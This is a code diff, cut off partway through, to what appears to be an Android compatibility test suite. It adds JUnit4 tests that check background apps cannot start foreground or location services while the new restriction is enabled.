+            "default_fgs_starts_restriction_enabled";
+
     private static final int WAITFOR_MSEC = 10000;
 
+    private static final String[] PACKAGE_NAMES = {
+            PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, PACKAGE_NAME_APP3
+    };
+
     private Context mContext;
     private Instrumentation mInstrumentation;
+    private Context mTargetContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
+    private int mOrigDeviceDemoMode = 0;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP1);
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP2);
+        mTargetContext = mInstrumentation.getTargetContext();
+        for (int i = 0; i < PACKAGE_NAMES.length; ++i) {
+            CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAMES[i]);
+            // The manifest file gives test app SYSTEM_ALERT_WINDOW permissions, which also exempt
+            // the app from BG-FGS-launch restriction. Remove SYSTEM_ALERT_WINDOW permission to test
+            // other BG-FGS-launch exemptions.
+            allowBgActivityStart(PACKAGE_NAMES[i], false);
+        }
         CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
+        cleanupResiduals();
+        enableFgsRestriction(true, true, null);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP1);
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP2);
+    @After
+    public void tearDown() throws Exception {
+        for (int i = 0; i < PACKAGE_NAMES.length; ++i) {
+            CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAMES[i]);
+            allowBgActivityStart(PACKAGE_NAMES[i], true);
+        }
+        cleanupResiduals();
+        enableFgsRestriction(true, true, null);
+        for (String packageName: PACKAGE_NAMES) {
+            resetFgsRestriction(packageName);
+        }
+    }
+
+    private void cleanupResiduals() {
+        // Stop all the packages to avoid residual impact
+        final ActivityManager am = mContext.getSystemService(ActivityManager.class);
+        for (int i = 0; i < PACKAGE_NAMES.length; i++) {
+            final String pkgName = PACKAGE_NAMES[i];
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                am.forceStopPackage(pkgName);
+            });
+        }
+        // Make sure we are in Home screen
+        mInstrumentation.getUiAutomation().performGlobalAction(
+                AccessibilityService.GLOBAL_ACTION_HOME);
     }
 
     /**
-     * Package1 is in BG state, it can start FGSL, but it won't get location capability.
-     * Package1 is in TOP state, it gets location capability.
+     * APP1 is in BG state, it can start FGSL, but it won't get location capability.
+     * APP1 is in TOP state, it gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationStartFromBG() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -76,18 +144,22 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, Start FGSL in package1, it won't get location capability.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, Start FGSL in APP1, it won't get location capability.
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             // start FGSL.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
-            // Package1 is in FGS state, but won't get location capability.
+            // APP1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -96,7 +168,9 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // package1 is in FGS state, start FGSL in pakcage1, it won't get location capability.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP1 is in FGS state, start FGSL in APP1, it won't get location capability.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
@@ -104,17 +178,19 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
-            // Package1 is in STATE_FG_SERVICE, but won't get location capability.
+            // APP1 is in STATE_FG_SERVICE, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
 
-            // Put Package1 in TOP state, now it gets location capability (because the TOP process
+            // Put APP1 in TOP state, now it gets location capability (because the TOP process
             // gets all while-in-use permission (not from FGSL).
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
@@ -138,11 +214,12 @@
     }
 
     /**
-     * Package1 is in BG state, it can start FGSL in package2, but the FGS won't get location
+     * APP1 is in BG state, it can start FGSL in APP2, but the FGS won't get location
      * capability.
-     * Package1 is in TOP state, it can start FGSL in package2, FGSL gets location capability.
+     * APP1 is in TOP state, it can start FGSL in APP2, FGSL gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationStartFromBGTwoProcesses() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -154,16 +231,17 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, start FGSL in package2.
+            // APP1 is in BG state, start FGSL in APP2.
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_START_FGSL_RESULT);
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
-            // Package2 won't have location capability because package1 is not in TOP state.
+            // APP2 won't have location capability because APP1 is not in TOP state.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -176,7 +254,8 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // Put Package1 in TOP state
+            // Put APP1 in TOP state
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
@@ -184,14 +263,17 @@
                     WatchUidRunner.STATE_TOP,
                     new Integer(PROCESS_CAPABILITY_ALL));
 
-            // From package1, start FGSL in package2.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // From APP1, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
-            // Now package2 gets location capability.
+            // Now APP2 gets location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_ALL));
+            waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -215,12 +297,13 @@
     }
 
     /**
-     * Package1 is in BG state, by a PendingIntent, it can start FGSL in package2,
+     * APP1 is in BG state, by a PendingIntent, it can start FGSL in APP2,
      * but the FGS won't get location capability.
-     * Package1 is in TOP state, by a PendingIntent, it can start FGSL in package2,
+     * APP1 is in TOP state, by a PendingIntent, it can start FGSL in APP2,
      * FGSL gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationPendingIntent() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -232,18 +315,22 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, start FGSL in package2.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, start FGSL in APP2.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 won't have location capability.
+            // APP2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
-            // Stop FGSL in package2.
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -251,28 +338,31 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // Put Package1 in FGS state, start FGSL in package2.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Put APP1 in FGS state, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
 
-            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_START_FGSL_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 won't have location capability.
+            // APP2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
             waiter.doWait(WAITFOR_MSEC);
-            // stop FGSL in package2.
+            // stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -280,7 +370,8 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // put package1 in TOP state, start FGSL in package2.
+            // put APP1 in TOP state, start FGSL in APP2.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
@@ -296,13 +387,13 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 now have location capability (because package1 is TOP)
+            // APP2 now have location capability (because APP1 is TOP)
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_ALL));
             waiter.doWait(WAITFOR_MSEC);
 
-            // stop FGSL in package2.
+            // stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -310,15 +401,14 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // stop FGS in package1,
+            // stop FGS in APP1,
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // stop TOP activity in package1.
+            // stop TOP activity in APP1.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -328,7 +418,11 @@
         }
     }
 
-
+    /**
+     * Test a FGS start by bind from BG does not get get while-in-use capability.
+     * @throws Exception
+     */
+    @Test
     public void testFgsLocationStartFromBGWithBind() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -336,21 +430,25 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, bind FGSL in package1 first.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, bind FGSL in APP1 first.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
-            // Then start FGSL in package1, it won't get location capability.
+            // Then start FGSL in APP1, it won't get location capability.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
 
-            // Package1 is in FGS state, but won't get location capability.
+            // APP1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
 
             // unbind service.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
@@ -366,4 +464,741 @@
             uid1Watcher.finish();
         }
     }
+
+    /**
+     * Test FGS background startForeground() restriction, use DeviceConfig to turn on restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBG1() throws Exception {
+        testFgsStartFromBG(true);
+    }
+
+    /**
+     * Test FGS background startForeground() restriction, use AppCompat CHANGE ID to turn on
+     * restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBG2() throws Exception {
+        testFgsStartFromBG(false);
+    }
+
+    private void testFgsStartFromBG(boolean useDeviceConfig) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // disable the FGS background startForeground() restriction.
+            enableFgsRestriction(false, true, null);
+            enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
+            // APP1 is in BG state, Start FGS in APP1.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 is in STATE_FG_SERVICE.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // stop FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Enable the FGS background startForeground() restriction.
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+            enableFgsRestriction(true, true, null);
+            enableFgsRestriction(true, useDeviceConfig, PACKAGE_NAME_APP1);
+            // Start FGS in BG state.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Stop activity.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // FGS is still running.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from a process that is at BOUND_TOP state.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBoundTopState() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+
+            // APP1 bound to service in APP2, APP2 get BOUND_TOP state.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_BIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP2 can start FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop activity.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from a process that is at FOREGROUND_SERVICE state.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromFgsState() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP1 can start FGS in APP2, APP2 gets FOREGROUND_SERVICE state.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP2 can start FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop activity in APP1.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop FGS in APP2.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * When the service is started by bindService() command, test when BG-FGS-launch
+     * restriction is disabled, FGS can start from background.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBGWithBind() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, bind FGSL in APP1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Then start FGSL in APP1
+            enableFgsRestriction(false, true, null);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 is in FGS state
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // stop FGS
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * When the service is started by bindService() command, test when BG-FGS-launch
+     * restriction is enabled, FGS can NOT start from background.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBGWithBindWithRestriction() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            enableFgsRestriction(true, true, null);
